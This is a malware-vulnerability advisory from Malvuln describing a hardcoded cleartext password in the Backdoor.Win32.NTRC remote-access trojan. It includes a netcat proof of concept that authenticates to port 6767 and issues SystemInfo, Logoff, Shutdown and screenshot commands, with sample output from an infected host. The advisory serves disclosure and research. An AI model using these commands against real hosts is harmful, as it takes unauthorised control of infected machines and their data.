Backdoor.Win32.NTRC malware suffers from a hardcoded credential vulnerability.
a322e5735d0deb5c868f091706d37757fb129052cbe2bf666954811ee4775878Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/273fd3f33279cc9c0378a49cf63d7a06.txt
Contact: [email protected]
Media: twitter.com/malvuln
Threat: Backdoor.Win32.NTRC
Vulnerability: Weak Hardcoded Credentials
Family: NTRC
Type: PE32
MD5: 273fd3f33279cc9c0378a49cf63d7a06
Vuln ID: MVID-2022-0646
Disclosure: 10/02/2022
Description: The malware listens on TCP port 6767. Authentication is required, however the password "Please change me" is weak and hardcoded in cleartext at offset 0045E520. Commands get executed by sending the password delimited by a semicolon ";" E.g. Please change me;SystemInfo;. The command SendScreen dumps screenshot as .BMF file, to get the next part of the file issue SendScreenNextPart.
0045E520 dd 16 ; Len
0045E520 db 'Please change me',0 ; Text
0045E539 align 4
Exploit/PoC:
C:\>nc64.exe x.x.x.x 6767
SendScreen
SendScreenNextPart
Stop
Please change me;Shutdown;
Error;Can not shutdown the server. Please contact the author at [email protected]
Please change me;Logoff;
Please change me;SystemInfo;
SystemInfo;6.2;9200;Windows NT;Victim;DESKTOP-2C3IQHO;C:\WINDOWS;1;Intel;Intel Pentium
Please change me;SystemInfo2;
;;;;;0;0;0;0;0;;;;9 Mb;1480.29 Mb;27 %;2687.49 Mb;1607.21 Mb;40 %;2047.88 Mb;1893.88 Mb;D
Please change me;Logoff;
FolderMonitorChanged
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